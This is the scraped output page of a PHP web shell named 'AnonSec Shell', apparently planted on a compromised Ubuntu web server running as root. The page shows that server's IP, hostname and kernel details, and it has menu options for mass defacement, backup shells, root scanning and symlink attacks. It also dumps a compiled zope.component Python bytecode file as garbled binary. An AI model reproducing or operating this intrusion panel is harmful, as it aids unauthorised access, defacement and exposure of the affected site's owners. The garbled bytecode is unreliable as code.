AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/zope/component/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/zope/component/__pycache__/security.cpython-310.pyc
o

,�W)�@s�dZddlmZddlmZddlmZddlmZddlmZddlm	Z	ddl
mZdd	l
mZdd
l
m
Z
ddlmZdZGd
d�de�Zdd�Zddd�Zdd�Zdd�ZdS)z5zope.security support for the configuration handlers
�)�
providedBy)�	ProxyBase)�getProxiedObject)�LocatingTrustedAdapterFactory)�LocatingUntrustedAdapterFactory)�TrustedAdapterFactory)�Checker)�
CheckerPublic)�InterfaceChecker)�Proxyzzope.Publicc@s eZdZdZdd�Zee�ZdS)�PermissionProxy)�__Security_checker__cCstt|��S�N)rr)�self�r�9/usr/lib/python3/dist-packages/zope/component/security.py�__providedBy__"szPermissionProxy.__providedBy__N)�__name__�
__module__�__qualname__�	__slots__r�propertyrrrrrsrcCsh|s|sdg}|tkr
t}i}|r|D]}|||<q|r.|D]}|jdd�D]}|||<q&qt|�}|S)N�__call__T)�all)�PublicPermissionr	�namesr)�_context�
permission�allowed_interface�allowed_attributes�require�name�i�checkerrrr�_checker&s

�r$NcCsH|dur|dus|durtd��|tkrt}t||�}t|�}||_|S)z�Try to get the object proxied with the `checker`, but not too soon

    We really don't want to proxy the object unless we need to.
    Nz<Required arguments: checker or both provides and permissions)�
ValueErrorrr	r
rr
)�obr#�providesrrrr�proxify9s
r(cs.|tkrt}t||����fdd�}�|_|S)Ncs4�|�}z�|_W|Styt|��}Y|Swr)r
�AttributeErrorr)�argsr&�r#�original_factoryrr�factoryOs��z!protectedFactory.<locals>.factory)rr	r
r-)r,r'rr-rr+r�protectedFactoryJs
r.cCsD|tkrt}|s|dur|tur|rt|�St|�S|r t|�S|Sr)rr	rrr)r-r�locate�trustedrrr�securityAdapterFactoryYsr1)NNN)�__doc__�zope.interfacer�
zope.proxyrr�zope.security.adapterrrr�zope.security.checkerrr	r
�zope.security.proxyrrrr$r(r.r1rrrr�<module>s"



Anon7 - 2022
AnonSec Team